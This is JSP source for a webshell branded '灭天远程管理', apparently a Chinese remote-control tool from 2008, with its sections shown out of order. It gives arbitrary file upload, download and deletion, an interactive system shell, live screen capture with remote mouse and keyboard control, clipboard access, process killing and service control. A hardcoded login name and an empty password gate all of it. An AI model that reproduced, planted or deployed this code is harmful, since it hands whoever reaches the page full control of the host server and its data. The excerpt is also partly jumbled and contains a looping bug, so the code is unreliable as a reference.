String sps[]={"user.home","java.home","user.dir","real.path"};//sun.boot.library.path,"catalina.home"
for(int i=0;i<sps.length;i++)
{
String value;
switch(i)
{
case 3:
value=application.getRealPath("/");
break;
default:
value=System.getProperty(sps[i]);
}
out.print("<option value=\""+value+"\"> "+sps[i]+"</option>");
}
%>
</select>
<span style="width:400px"> </span>
<script type="">document.getElementById("pmenu").value=document.form1.p.value;</script>
<input type="submit" value="转到" onclick="form1.mt.disabled=form1.v.disabled=true;form1.method='get';"/><input type="button" id="cut" value="剪切" onclick="d('file.cut');"/><input type="button" id="copy" value="复制" onclick="d('file.copy');"/><input type="button" <%if(session.getAttribute("file.cut")==null&&session.getAttribute("file.copy")==null)out.print(" disabled ");%> value="粘贴" onclick="d('file.paste');"/><input type="button" id="del" value="删除" onclick="d('file.del');"/><input type="button" id="ren" value="改名" onclick="d('file.ren');"/><input type="button" id="unzip" value="解压" onclick="d('file.unzip')"/><input type="button" id="zip" value="压缩" onclick="d('file.zip')"/><input type="button" id="down" value="下载" onclick="d('file.down')"/><span><input type="file" name='upload' style="position:absolute;width:72px;filter:alpha(opacity=0)" onchange="d('file.upload');"><input type="button" id="upload" value="上传文件"></span><input type="button" id="mkdir" value="创建" onclick="d('file.mkdir')"/>
<table cellspacing="1">
<tr>
<th width="1"><input type="checkbox" onclick="s(checked)"/></th>
<th><a href="javascript:o(1)">名称</a></th>
<th align="right"><a href="javascript:o(2)">大小</a></th>
<th>类型</th>
<th><a href="javascript:o(4)">日期</a></th>
<th>属性</th>
</tr>
<%
if (fs == null)
{
out.print("<tr><td>目录不存在...</td></tr>");
}else
{
StringBuffer sb=new StringBuffer();
java.text.SimpleDateFormat sdf=new java.text.SimpleDateFormat("yyyy-MM-dd HH:mm");
java.text.DecimalFormat df=new java.text.DecimalFormat("#,###.##");
for (int i = pos*100;i<pos*100+100&& i < fs.length; i++)
{
String pc=fs[i].getPath().replaceAll("\\\\","/");
String pu=URLEncoder.encode(pc,"UTF-8");
if(pu.equals("A%3A%2F"))continue;
String name,desc="--",time="",pro="";
if(!fs[i].exists())
{
name=pc;
}else
{
ShellFolder sf=ShellFolder.getShellFolder(fs[i]);
name=sf.getDisplayName();
desc=sf.getFolderType();
time=sdf.format(new java.util.Date(fs[i].lastModified()));
if (p.length()>2&&fs[i].isHidden())pro+=" H";
if (!fs[i].canWrite())pro+=" R";
}
if(name.endsWith(".lnk"))
{
fs[i]=getLnkpath(fs[i]);
}
if(fs[i].isDirectory())
{
out.print("<tr onmouseover=\"bgColor='#EAF1F9';\" onmouseout=\"bgColor='';\" >");
out.print("<td><input type=\"checkbox\" name=\"ps\" value=\""+pc+"\"/></td>");
out.print("<td class='t1'><a href=\"?p="+pu+"\">");
if(ver)out.print("<img src='?mt=file.ext&p="+pu+"' class='I"+pro+"' />");
out.print(name+"</a></td>");
out.print("<td class='t2'>");
if(p.length()<2)
{
//out.print(df.format(fs[i].getTotalSpace()/1024F/1024F/1024F)+" GB");
}else if(ver)
{
String son[]=fs[i].list();
out.print(son==null?-1:son.length);
}
out.print("<td>"+desc);
out.print("<td class='t4'>"+time);
out.print("<td>");
if(p.length()<2)
{
//out.print(df.format(fs[i].getUsableSpace()/1024F/1024F/1024F)+" GB");
}else
{
out.print(pro);
}
out.print("</td></tr>");
}else
{
sb.append("<tr onmouseover=bgColor='#EAF1F9'; onmouseout=bgColor='';>");
sb.append("<td><input type='checkbox' name='ps' value=\"").append(pc).append("\"/></td>");
sb.append("<td class='t1'><a href=\"?mt=file.dl&p=").append(pu).append("\">");
if(ver)sb.append("<img src='?mt=file.ext&p=").append(pu).append("' class='I").append(pro).append("' />");
sb.append(name).append("</a></td>");
sb.append("<td class='t2'>").append(df.format(fs[i].length()/1024F)).append(" KB</td>");
sb.append("<td>").append(desc);
sb.append("<td class='t4'>").append(time).append("</td>");
sb.append("<td>").append(pro).append("</td></tr>");
}
}
out.print(sb.toString());
if(fs.length>100)
{
String pu=URLEncoder.encode(p,"UTF-8");
out.print("<tr><td colspan='2'>共"+fs.length+"对象<td colspan='4' align='right'>");
if(pos>0)
{
out.print("<a href='?p="+pu+"'><font face='webdings'>9</font></a> <a href='?p="+pu+"&pos="+(pos-1)+"'><font face='webdings'>3</font></a> ");
}
int len=fs.length/100;
if(fs.length%100!=0)len++;
for(int i=0;i<len;i++)
{
if(i!=pos)
{
out.print("<a href='?p="+pu+"&pos="+i+"'>");
}
out.print(i+"</a> ");
}
if(pos<len-1)
{
out.print("<a href='?p="+pu+"&pos="+(pos+1)+"'><font face='webdings'>4</font></a> <a href='?p="+pu+"&pos="+(len-1)+"'><font face='webdings'>:</font></a>");
}
}
}
%>
</table>
<%
}
}
%>
</form>
<table align="center" style="width:500px">
<tr>
<td align="right">Copyright ©2008</td>
<td>Powered By <a href="http://www.mietian.net/" target="_blank">灭天远程管理 Version 1.1</a>
</td>
</tr>
</table>
</body>
</html>
private static final String PASSWORD="";//这里是用户的登陆密码
String uri;
private static final boolean isLinux=System.getProperty("os.name").startsWith("Linux");
private static final FileSystemView fsv = FileSystemView.getFileSystemView();
private static String START_TYPE[] ={"", "", "自动", "手动", "禁用"};
private static String STATE_TYPE[] ={"", "已停止", "", "", "已启动", "5", "6", "暂停"};
private static Rectangle rect[] = new Rectangle[8];
static
{
Dimension d = Toolkit.getDefaultToolkit().getScreenSize();
int width = d.width;
int height = d.height;
for (int i = 0; i < rect.length; i++)
{
rect[i] = new Rectangle(0, height/8 * i, width, height/8);
}
}
public static String exec(String cmd, Writer out) throws IOException
{
StringBuffer sb = new StringBuffer();
int len = 0;
byte by[] = new byte[cmd.length() * 10];
Process p = Runtime.getRuntime().exec(cmd);
InputStream is = p.getInputStream();
while((len = is.read(by)) != -1)
{
String str = new String(by, 0, len);
if(out != null)
{
out.write(str);
out.flush();
}
sb.append(str);
}
is.close();
return sb.toString();
}
public String unzip(File file, File dir) throws IOException
{
if (file.getName().toLowerCase().endsWith(".zip"))
{
StringBuffer result = new StringBuffer();
try
{
ZipFile zf = new ZipFile(file);
Enumeration enumer = zf.entries(); //zf.getEntries();
while (enumer.hasMoreElements())
{
ZipEntry ze = (ZipEntry) enumer.nextElement();
String zename = ze.getName();
result.append(zename + "<br/>");
if (ze.isDirectory())
{
File file11 = new File(dir,zename);
file11.mkdirs();
} else
{
File file11 = new File(dir,zename).getParentFile();
if (!file11.exists())
{
file11.mkdirs();
}
int i=0;
byte zeby[] = new byte[8192];
InputStream is = zf.getInputStream(ze);
FileOutputStream fos = new FileOutputStream(dir.getAbsolutePath() + "/" + zename);
while((i=is.read(zeby))!=-1)
{
fos.write(zeby,0,i);
}
is.close();
fos.close();
}
}
zf.close();
result.append("全部完成");
return result.toString();
} catch (Exception e)
{
return (file.getName() + " 不是 ZIP 压缩文件");
}
} else
{
Runtime rt = Runtime.getRuntime();
File f=new File("C:\\Program Files\\WinRAR\\UnRAR.exe");
if(!f.exists())f=new File("D:\\Program Files\\WinRAR\\UnRAR.exe");
if(!f.exists())f=new File(this.getServletContext().getRealPath(uri)+"\\UnRAR.exe");
String path=f.exists()?f.getPath():"unrar";
Process p = rt.exec("\"" + path + "\" x -o+ -p- " + file.getAbsolutePath() + " " + dir.getAbsolutePath());
StringBuffer sb = new StringBuffer();
InputStream fis = p.getInputStream();
int value = 0;
while ((value = fis.read()) != -1)
{
sb.append((char) value);
}
fis.close();
String result = new String(sb.toString().getBytes("ISO-8859-1"), "GBK");
int index = result.indexOf("中解压");
if (index == -1)
{
return (file.getName() + " 不是 RAR 压缩文件");
} else
{
index += 4;
result = result.substring(index);
result = result.replaceAll("\r\n", "<br/>").replaceAll(" ", " ");//.replaceAll("\n", "<BR/>").replaceAll("\\\\", "/").replaceAll(file.getAbsolutePath(), "");
return (result);
}
}
}
public static void zip(String ps[],OutputStream os)throws IOException
{
ZipOutputStream zos = new ZipOutputStream(os);
for(int i=0;i<ps.length;i++)
{
zip(zos,new File(ps[i]),"");
}
zos.close();
}
public static void zip(ZipOutputStream zos, File file, String context) throws IOException
{
if (file.isFile())
{
int i=0;
byte by[] = new byte[8192];
FileInputStream is = new FileInputStream(file);
zos.putNextEntry(new ZipEntry(context + file.getName()));
while((i=is.read(by))!=-1)
{
zos.write(by,0,i);
}
is.close();
zos.closeEntry();
} else
if (file.isDirectory())
{
context=context + file.getName() + "/";
zos.putNextEntry(new ZipEntry(context));
zos.closeEntry();
File files[] = file.listFiles();
if (files != null)
{
for (int i = 0; i < files.length; i++)
{
zip(zos, files[i], context);
}
}
}
}
public void del(File f)
{
if (f.isDirectory())
{
File fs[] = f.listFiles();
for (int i = 0; i < fs.length; i++)
{
del(fs[i]);
}
}
f.delete();
}
public void copy(File s,File d)throws IOException
{
d=new File(d,s.getName());
if(s.isDirectory())
{
d.mkdir();
File fs[]=s.listFiles();
for(int i=0;i<fs.length;i++)
{
copy(fs[i],d);
}
}else
{
byte by[] = new byte[8192];
FileInputStream fis=new FileInputStream(s);
FileOutputStream fos=new FileOutputStream(d);
int i=0;
while((i=fis.read(by))!=-1)
{
fos.write(by,0,i);
}
fis.close();
fos.close();
}
}
public static File getLnkpath(File f)throws IOException
{
if(f.exists())
{
byte by[]=new byte[(int)f.length()];
FileInputStream fis=new FileInputStream(f);
fis.read(by);
fis.close();
String str=new String(by,"GBK");
String prefix=new StringBuffer(7).append((char)42).append((char)65533).append((char)16).append((char)0).append((char)0).append((char)0).append((char)0).toString();
int i=str.indexOf(prefix)+7;
if(i>6)
{
StringBuffer path=new StringBuffer();
for(int j=i;j<str.length();i++)
{
int ch=str.charAt(i);
if(ch!=0)
{
path.append((char)ch);
}else
{
break;
}
}
return new File(path.toString());
}
}
return f;
}
%><%
String user=(String)session.getAttribute("user");
uri=request.getRequestURI();
uri=uri.substring(0,uri.lastIndexOf('/'));
request.setCharacterEncoding("UTF-8");
String p=request.getParameter("p");
if(p==null)p="/";
File f = new File(p);
if(!f.exists())
{
p=new String(p.getBytes("ISO-8859-1"),"UTF-8");
f = new File(p);
}
String v=request.getParameter("v");
String ps[]=request.getParameterValues("ps");
String mt=request.getParameter("mt");
if(mt==null)mt="file";
int pos=0;
String tmp=request.getParameter("pos");
if(tmp!=null)
{
pos=Integer.parseInt(tmp);
}
int oby=1;
tmp=request.getParameter("oby");
if(tmp==null)
{
tmp=(String)session.getAttribute("oby");
}
if(tmp!=null)
{
oby=Integer.parseInt(tmp);
session.setAttribute("oby",String.valueOf(oby));
}
//版本
boolean ver=true;
Boolean btmp=(Boolean)session.getAttribute("ver");
if(btmp!=null)
{
ver=btmp.booleanValue();
}
///////////////////////////////////
if(mt.length()>5)
{
if(user==null)
{
user=request.getParameter("user");
String pwd=request.getParameter("pwd");
ver="true".equals(request.getParameter("ver"));
if(user.equals("mietian")&&pwd.equals(PASSWORD))
{
session.setAttribute("ver",new Boolean(ver));
session.setAttribute("user",user);
}else
{
out.print("<script>history.back();alert('用户名或密码错误!!!');</script>");
return;
}
}
out.clear();
if(mt.equals("file.mkdir"))
{
f=new File(f,v);
f.mkdirs();
}else if(mt.equals("file.del"))
{
for(int i=0;i<ps.length;i++)
{
del(new File(ps[i]));
}
}else if(mt.equals("file.unzip"))
{
for(int i=0;i<ps.length;i++)
{
unzip(new File(ps[i]),f);
}
}else if(mt.equals("file.zip"))
{
File co=new File(ps[0]+".zip");
while(co.exists())
{
co=new File(ps[0]+"_"+System.currentTimeMillis()+".zip");
}
zip(ps,new FileOutputStream(co));
}else if(mt.equals("file.down"))
{
response.setContentType("application/octet-stream");
response.setHeader("Content-Disposition", "attachment; filename=" + URLEncoder.encode("file.zip","UTF-8"));
zip(ps,response.getOutputStream());
return;
}else if(mt.equals("file.ren"))
{
for(int i=0;i<ps.length;i++)
{
File re=new File(f,v+(i==0?"":" ("+i+")"));
new File(ps[i]).renameTo(re);
}
}else if(mt.equals("file.cut")||mt.equals("file.copy"))
{
session.removeAttribute("file.cut");
session.removeAttribute("file.copy");
session.setAttribute(mt,ps);
}else if(mt.equals("file.paste"))
{
ps=(String[])session.getAttribute("file.cut");
if(ps!=null)
{
out.print("剪切...<br>");
for(int i=0;i<ps.length;i++)
{
if(p.startsWith(ps[i]))
{
out.print("跳过"+ps[i]+"<br/>");
continue;
}
File cut=new File(ps[i]);
boolean rs=cut.renameTo(new File(f,cut.getName()));
if(!rs)
{
copy(cut,f);
del(cut);
}
out.print(ps[i]+"<br/>");
out.flush();
}
session.removeAttribute("file.cut");
}else
if((ps=(String[])session.getAttribute("file.copy"))!=null)
{
out.print("复制...<br>");
for(int i=0;i<ps.length;i++)
{
if(p.startsWith(ps[i]))
{
out.print("跳过"+ps[i]+"<br/>");
continue;
}
copy(new File(ps[i]),f);
out.print(ps[i]+"<br>");
out.flush();
}
}
out.print("完成,<A href=?p="+URLEncoder.encode(p,"UTF-8")+" >返回</A>");
return;
}else if(mt.equals("file.ext"))
{
if(f.exists())
{
try
{
Image i=((ImageIcon)fsv.getSystemIcon(f)).getImage();
BufferedImage bi=new BufferedImage(16,16,BufferedImage.TYPE_4BYTE_ABGR);
bi.createGraphics().drawImage(i,0,0,null);
//BufferedImage bi=(BufferedImage)((ImageIcon)fsv.getSystemIcon(f)).getImage();
OutputStream os=response.getOutputStream();
ImageIO.write(bi,"PNG",os);
os.close();
}catch(Exception ex)
{
}
}
return;
}else if(mt.equals("file.dl"))
{
response.setContentType("application/octet-stream");
response.setHeader("Content-Disposition", "attachment; filename=" + URLEncoder.encode(f.getName(),"UTF-8"));
int len=(int)f.length();
response.setContentLength(len);
FileInputStream fis=new FileInputStream(f);
OutputStream os=response.getOutputStream();
byte by[]=new byte[8192];
int value=0;
try
{
while((value=fis.read(by))!=-1)
{
os.write(by,0,value);
}
}finally
{
fis.close();
os.close();
}
return;
}else if(mt.equals("file.upload"))
{
String ce = request.getCharacterEncoding();
if(ce == null)ce = System.getProperty("file.encoding");
String ct = request.getContentType();
ct="--" + ct.substring(30);
int j=0;
byte by[] = new byte[8192];
ServletInputStream is = request.getInputStream();
is.readLine(by,0,by.length);//ct
while((j=is.readLine(by,0,by.length))!=-1)
{
String line = new String(by, 0, j, ce);//Content-Disposition
int x = line.indexOf("name=\"") + 6;
int y = line.indexOf("\"", x);
String name = line.substring(x, y);
x = line.indexOf("filename=\"", y) + 10;
is.readLine(by,0,by.length);//Content-Type: application/msword 或 rn
if(x > 10)
{
y = line.indexOf("\"", x);
String fn = line.substring(x, y);
x = fn.lastIndexOf('\\');
if(x != -1)
fn = fn.substring(x + 1);
OutputStream os = new FileOutputStream(new File(p, fn));
boolean rn = false;
j=is.readLine(by,0,by.length);//rn
if(j==2)
{
j=is.readLine(by,0,by.length);//
}
do
{
if(rn)
{
os.write(13);
os.write(10);
}
if(j > 2 && by[j - 2] == 13 && by[j - 1] == 10)
{
rn = true;
j -= 2;
} else
{
rn = false;
}
os.write(by, 0, j);
j = is.readLine(by,0,by.length);
line = new String(by, 0, j, ce);
} while(!line.startsWith(ct));
os.close();
}else
{
j =is.readLine(by,0,by.length);
line = new String(by, 0, j, ce);
StringBuffer sb = new StringBuffer();
do
{
sb.append(line);
j =is.readLine(by,0,by.length);
line = new String(by, 0, j, ce);
} while(!line.startsWith(ct));
sb.setLength(sb.length() - 2);
if(name.equals("p"))
{
p=sb.toString();
}
}
}
is.close();
}else if(mt.equals("wins.screen"))
{
Robot r = new Robot();
BufferedImage bi = r.createScreenCapture(rect[Integer.parseInt(v)]);
//ByteArrayOutputStream os = new ByteArrayOutputStream();
OutputStream os=response.getOutputStream();
try
{
ImageIO.write(bi, "PNG", os);
}catch(Exception ex)
{}
//byte by[] = os.toByteArray();
os.close();
return;
}else if(mt.equals("wins.event"))
{
Robot r = new Robot();
String event=request.getParameter("e");
if (event.startsWith("mouse"))
{
int x = Integer.parseInt(request.getParameter("x"));
int y = Integer.parseInt(request.getParameter("y"));
int b = Integer.parseInt(request.getParameter("b"));//16:左,8:中,4:右
switch(b)
{
case 0:
b=16;
break;
case 1:
b=8;
break;
case 2:
b=4;
break;
}
r.mouseMove(x, y);
if (event.equals("onmouseclick"))
{
r.mousePress(b);
r.mouseRelease(b);
} else
if ("onmousedblclick".equals(event))
{
r.mousePress(KeyEvent.BUTTON1_MASK);
r.mouseRelease(KeyEvent.BUTTON1_MASK);
r.mousePress(KeyEvent.BUTTON1_MASK);
r.mouseRelease(KeyEvent.BUTTON1_MASK);
} else
if (event.equals("mousedown"))
{
r.mousePress(b);
} else
if (event.equals("mouseup"))
{
r.mousePress(b);
r.mouseRelease(b);
}
} else if (event.startsWith("key"))
{
int k = Integer.parseInt(request.getParameter("k"));
if (k > 218 && k < 222) //[:219-91, \:220-92, ]:221-93
{
k = k - 128;
} else if (k > 187 && k < 192) //,:188-44, .:190-46, /:191-47
{
k = k - 144;
} else
{
switch (k)
{
case 45: //insert
k = 155;
break;
case 46:
k = 127;
break;
case 91: //win
case 92:
k = 524;
break;
case 93: //右键
k = 525;
break;
// case 37://left
// k=226;
// break;
// case 38://up
// k=224;
// break;
// case 39://right
// k=227;
// break;
// case 40://down
// k=225;
// break;
case 13:
k = 10;
break;
}
}
if (event.equals("keydown"))
{
r.keyPress(k);
} else if (event.equals("keypress"))
{
r.keyPress(k);
} else if (event.equals("keyup"))
{
r.keyRelease(k);
}
}
return;
}else if(mt.equals("wins.cb"))
{
Clipboard cb=Toolkit.getDefaultToolkit().getSystemClipboard();
cb.setContents(new StringSelection(v),null);
out.print("<script>window.close();</script>");
return;
}else if(mt.equals("task.kill"))
{
for(int i=0;i<ps.length;i++)
{
exec((isLinux ? "kill -9 " : "tskill ") + ps[i], null);
}//ntsd -c q -p PID
}else if(mt.equals("serv.start")||mt.equals("serv.stop")||mt.equals("serv.restart"))
{
StringBuffer js=new StringBuffer();
String cmd=mt.substring(5);
for(int i=0;i<ps.length;i++)
{
if(isLinux)
{
ps[i]="/etc/init.d/"+ps[i]+" "+cmd;
}else if(cmd.equals("restart"))
{
ps[i]="cmd /c net stop "+ps[i]+" & net start "+ps[i];
}else
{
ps[i]="net "+cmd+" "+ps[i];
}
String str=exec(ps[i], null);
js.append(str);
}
//out.print("<script>alert(\""+js.toString()+"\");</script>");
//return;
}else if(mt.equals("serv.restart"))
{
for(int i=0;i<ps.length;i++)
{
String str= exec(isLinux ? "/etc/init.d/ "+ps[i]+" restart" : "net stop "+ps[i]+" & net start "+ps[i], null);
out.print("<script>alert('"+str+"');</script>");
}
return;
}else if(mt.equals("term.cmd"))
{
String txt=(String)session.getAttribute("txt");
Process pro=(Process)session.getAttribute("cmd");
if(pro==null)
{
pro=Runtime.getRuntime().exec(isLinux?"bash":"cmd",null,f);
session.setAttribute("cmd",pro);
txt="";
}
if(v!=null)
{
v=v+"\r\n";
OutputStream os=pro.getOutputStream();
if(isLinux)
{
v="pwd>mtc.txt\n"+v.substring(0,v.length()-2)+">>/mtc.txt\n";
}
String quc=v.trim().toLowerCase();
if(quc.equals("restart"))
{
os.write(v.getBytes());
}else if(quc.equals("env"))
{
txt=txt+"<table>";
Properties sps=System.getProperties();
Enumeration e=sps.keys();
while(e.hasMoreElements())
{
String name=(String)e.nextElement();
String value=(String)sps.get(name);
txt=txt+"<tr><td>"+name+"<td>"+value;
}
txt=txt+"</table>";
}else
{
os.write(v.getBytes());
if(quc.equals("exit"))
{
session.removeAttribute("cmd");
}
}
os.flush();
if(quc.startsWith("net stop tomcat"))
{
if(!"SYSTEM".equals(System.getProperty("user.name")))//如果不是服务
{
String cmd="tskill "+quc.split(" ")[2]+"\r\n";
os.write(cmd.getBytes());
os.flush();
System.exit(0);
}
}
Thread.sleep(500L);
}
if(v!=null||(txt.length()==0&&!isLinux))
{
InputStream is=pro.getInputStream();
if(isLinux)
{
is=new FileInputStream("/mtc.txt");
txt=txt+"\n"+v;
}
for(int i=0;i<10||is.available()>0;i++)
{
if(i==9)is=pro.getErrorStream();
if(is.available()==0)
{
Thread.sleep(500L);
}else
{
i=0;
byte by[]=new byte[is.available()];
is.read(by);
String str=new String(by).replaceAll("<","<");
//cls
int cls=str.lastIndexOf("\f");
txt=cls==-1?txt+str:str.substring(cls+1);
}
}
session.setAttribute("txt",txt);
}
out.print("<pre>"+txt+"</pre>");
}
if(!mt.equals("term.cmd"))
{
response.sendRedirect(request.getRequestURI()+"?mt="+mt.substring(0,4)+"&p="+URLEncoder.encode(p,"UTF-8"));
return;
}
}
String mt4=mt.substring(0,4);
%>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title><%=p%> 灭天远程管理</title>
<style type="text/css">
body
{
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
}
body,td,th
{
font-size: 12px;
}
img
{
border: 0;
vertical-align:middle;
}
table
{
width:100%;
border:1px solid #bbd7e6;
}
th
{
border-bottom:1px solid #bbd7e6;
background-color:#E1ECFE;
}
.I
{
width:16px;
height:16px;
}
.H
{
filter:alpha(opacity=50)
}
.t<%=oby%>
{
background:#F7F7F7;
}
.t2
{
text-align:right;
}
</style>
<script type="text/javascript">
function f(v)
{
form1.mt.value=v;
}
function s(b)
{
form1.ps.checked=b;
for(var i=0;i<form1.ps.length;i++)
{
form1.ps[i].checked=b;
}
}
function d(mt,dv)
{
var t;
switch(mt)
{
case "file.ren":
t="请输入新的名字";
dv="这里输入新名子";
break;
case "file.mkdir":
t="新建文件夹";
dv="新建文件夹";
break;
case "file.del":
t="确认删除?";
break;
case "file.upload":
form1.encoding="multipart/form-data";
form1.action="?mt="+mt;
break;
case "term.cmd":
form1.cmd.disabled=true;
break;
default:
form1.method="get";
}
if(t)
{
dv=dv?prompt(t,dv):confirm(t);
if(!dv) return false;
}
form1.v.value=dv;
form1.mt.value=mt;
form1.submit();
}
function c()
{
var ps=document.form1.ps;
if(ps)
{
var flag=ps.checked;
for(var i=0;i<ps.length;i++)
{
if(ps[i].checked)
{
flag=true;
break;
}
}
var ids=new Array("cut","copy","del","ren","unzip","zip","down","kill","start","stop","restart");
for(var i=0;i<ids.length;i++)
{
var obj=document.getElementById(ids[i]);
if(obj)obj.disabled=!flag;
}
}
}
setInterval(c,100);
//排序
function o(field)
{
var url=location.search.substring(1);
window.open("?oby="+field+"&"+url,"_self");
}
//
var down=false;
function fevent(event)
{
if(!event)event=window.event;
if(event.type=="mousedown")
{
down=true;
// try
// {
// this.setCapture();
// }catch(e)
// {
// document.addEventListener("mousemove",fevent,true);
// }
}else if(event.type=="mouseup")
{
down=false;
// try
// {
// this.releaseCapture();
// }catch(e)
// {
// document.removeEventListener("mousemove",fevent,true);
// }
}
if(down||event.type!="mousemove")
{
var button=event.button;
if(document.all)
{
switch(button)
{
case 1:
button=0;
break;
case 4:
button=1;
break;
case 3:
return;
}
}
var x=event.clientX+document.body.scrollLeft;
var y=event.clientY+document.body.scrollTop-20;
ifr.src=ifr.location=('?mt=wins.event&x='+x+'&y='+y+'&k='+(event.keyCode||event.which)+'&b='+button+'&e='+event.type);
}
//document.getElementById('xy').value=(event.keyCode||event.which);
try
{
event.keyCode=0;
event.returnValue=false;
}catch(e)
{
return false;
}
}
</script>
</head>
<body>
<form name="form1" action="?" enctype="application/x-www-form-urlencoded" method="post">
<input type="hidden" name="mt" value="<%=mt%>"/>
<input type="hidden" name="v" value=""/>
<%
if(user==null)
{
%>
<br>
<h2>灭天远程管理</h2>
<table align="center" style='width:600px'>
<tr>
<td align="right">用户名:</td>
<td><input type="text" name="user" value="mietian" /></td>
</tr>
<tr>
<td align="right">密码:</td>
<td><input type="password" name="pwd" /></td>
</tr>
<tr>
<td align="right">版本:</td>
<td><select name="ver">
<option value="true">普通</option>
<option value="false">极速</option>
</td>
</tr>
<tr>
<td> </td>
<td><input type="submit" value="提交" onclick="d('file.login')" />
<input type="reset" value="重置" /></td>
</tr>
</table>
<script type="">form1.user.focus();</script>
<%
}else if("win0".equals(mt4))//获取服务器剪贴板内容
{
Clipboard cb=Toolkit.getDefaultToolkit().getSystemClipboard();
Transferable tr=cb.getContents(null);
String str="";
if(tr.isDataFlavorSupported(DataFlavor.stringFlavor))
{
str=(String) tr.getTransferData(DataFlavor.stringFlavor);
}
out.print("<textarea id='cb' style='width:100%' rows='10' wrap='off'>"+str.replaceAll("</","</")+"</textarea>");
out.print("<input type='button' value='确定' onclick=d('wins.cb',cb.value)><input type='button' value='关闭' onclick='window.close();'>");
return;
}else
{
String rem[]={"文件","终端","桌面","任务","服务","用户","信息"};
String cmd[]={"file","term","wins","task","serv","user","info"};
out.print("<select onchange='d(value)'>");
for(int i=0;i<cmd.length;i++)
{
out.print("<option value='"+cmd[i]+"'");
if(cmd[i].equals(mt4))
{
out.print(" selected=''");
}
out.print(">"+rem[i]);
}
out.print("</select>");
if("term".equals(mt4))
{
out.print("<input name='p' type='hidden' value=\""+p+"\"/>");
out.print("<textarea name='cmd' style='width:100%;overflow-y:visible;' rows='5' onkeypress=\"if(!event.shiftKey&&event.keyCode==13){ event.returnValue=false; d('term.cmd',value); }\"></textarea><script>form1.cmd.focus();</script>");
out.print("<br/><br/><br/>");
out.print("<table style='width:400'>");
out.print(" <tr><th>功能</th><th>命令</th></tr>");
out.print(" <tr><td>重启机器</td><td>shutdown -r -f -time 0</td></tr>");
out.print(" <tr><td>解压文件</td><td>unrar x -y xxxx.rar</td></tr>");
out.print(" <tr><td>重启服务</td><td>net stop tomcat6 & net start tomcat6</td></tr>");
out.print(" <tr><td>环境信息</td><td>env</td></tr>");
out.print("</table>");
}else if("wins".equals(mt4))
{
out.print("<input type='button' value='剪贴板' onclick=window.open('?mt=win0','','width=400,height=200,resizable=1')><br>");
for(int i=0;i<8;i++)
{
out.print("<img name=img src=?mt=wins.screen&v="+i+" onmousedown='fevent(event)' onmousemove='fevent(event)' onmouseup='fevent(event)'><br>");
}
out.print("<script>");
out.print("document.body.onkeydown=fevent;");
out.print("document.body.onkeyup=fevent;");
out.print("document.body.oncontextmenu=function(){return false};");
out.print("document.body.onselectstart=function(){return false};");
out.print("var img=document.getElementsByName('img');");
out.print("function ftimeout()");
out.print("{");
out.print(" for(var i=0;i<img.length;i++)");
out.print(" {");
out.print(" img[i].src='?mt=wins.screen&v='+i+'&t='+new Date().getTime();");
out.print(" }");
out.print("}");
out.print("window.setInterval(ftimeout,2000);");
out.print("</script>");
out.print("<iframe id='ifr' src='about:blank' style='display:none'></iframe>");
}else if("task".equals(mt4))
{
out.print("<input type='button' id='kill' value='结束进程' onclick=d('task.kill'); />");
out.print("<table>");
String str = exec(isLinux ? "ps uax" : "tasklist /v /fo csv", null);
String trs[] = str.trim().split("\n");
for(int i = 0; i < trs.length; i++)
{
if(trs[i].startsWith("\"tasklist.exe\""))
continue;
String tds[] = trs[i].split(isLinux ? " +" : "\",\"");
out.print("<tr onmouseover=bgColor='#BCD1E9' onmouseout=bgColor=''><td><input type='checkbox' name='ps' value='" + tds[1] + "' onclick=if(value=='PID')s(checked)>");
for(int j = 0; j < tds.length; j++)
{
if(isLinux)
{
if(tds[j].charAt(0) == '/')// linux: 绝对路径中取名称
{
int x = tds[j].lastIndexOf("/");
if(x != -1)
tds[j] = tds[j].substring(x + 1);
}
} else
if(j == 0)
tds[j] = tds[j].substring(1);
else
if(j == tds.length - 1)
tds[j] = tds[j].substring(0, tds[j].length() - 2);
else
if(j == 6)
tds[j] = tds[j].substring(tds[j].indexOf('\\') + 1);
out.print(i==0?"<th nowrap>":"<td>");
out.print(tds[j]);
}
out.print("</tr>\n");
}
out.print("</table>");
}else if("serv".equals(mt4))
{
out.print("<input type='button' id='start' value='启动' onclick=d('serv.start'); />");
out.print("<input type='button' id='stop' value='停止' onclick=d('serv.stop'); />");
out.print("<input type='button' id='restart' value='重启' onclick=d('serv.restart'); />");
out.print("<table>");
if (isLinux)
{
out.print("<tr><th><th>服务名称<th>状态<th>描述</tr>");
File fs[] = new File("/etc/rc.d/init.d/").listFiles();
for (int i = 0; i < fs.length; i++)
{
String name = fs[i].getName();
out.print("<tr onmouseover=bgColor='#BCD1E9' onmouseout=bgColor=''><td><input type='checkbox' name='ps' value=" + name + ">");
out.print("<td>"+name);
//
String str = exec("/etc/init.d/" + name + " status", null);
int j = str.indexOf(" ");
out.print("<td>"+str.substring(j + 1));
//
byte by[] = new byte[500];
FileInputStream fis = new FileInputStream(fs[i]);
fis.read(by);
fis.close();
str = new String(by).replaceAll("\\\\\n#", "");
j = str.indexOf("# description: ");
if (j != -1)
{
str = str.substring(j + 15, str.indexOf("\n", j));
}
out.print("<td title=\""+str+"\">");
if (str.length() > 20)
{
str = str.substring(0, 17) + "...";
}
out.print(str);
out.print("\n");
}
} else
{
out.print("<tr><td><th>名称<th>描述<th>状态<th>启动类型<th>登录为</tr>");
String str = exec("sc query state= all", null);
String ss[] = str.split("SERVICE_NAME: ");
for (int i = 1; i < ss.length; i++)
{
String rs[] = ss[i].split("\r\n");
String sname = rs[0];
String title = rs[1].substring(14);
int state = rs[3].charAt(29) - 48;
int start=0;
String desc=null,path=null,login=null;
if(ver)
{
//描述
//str = exec("sc qdescription " + rs[0], null);
//desc = str.substring(str.indexOf(": ") + 3);
//
str = exec("sc qc \"" + rs[0]+"\"", null);
rs = str.split("\r\n");
start = rs[4].charAt(29) - 48;
path = rs[6].substring(29);
login = rs[11].substring(29);
if (login.equalsIgnoreCase("LocalSystem"))
{
login = "本地系统";
} else if (login.equalsIgnoreCase("NT AUTHORITY\\LocalService"))
{
login = "本地服务";
} else if (login.equalsIgnoreCase("NT AUTHORITY\\NetworkService"))
{
login = "网络服务";
}
}
out.print("<tr onmouseover=bgColor='#BCD1E9' onmouseout=bgColor='' title=\"");
out.print("服务名 :"+sname+" ");
out.print("显示名 :"+title+" ");
out.print("描述 :"+desc+" ");
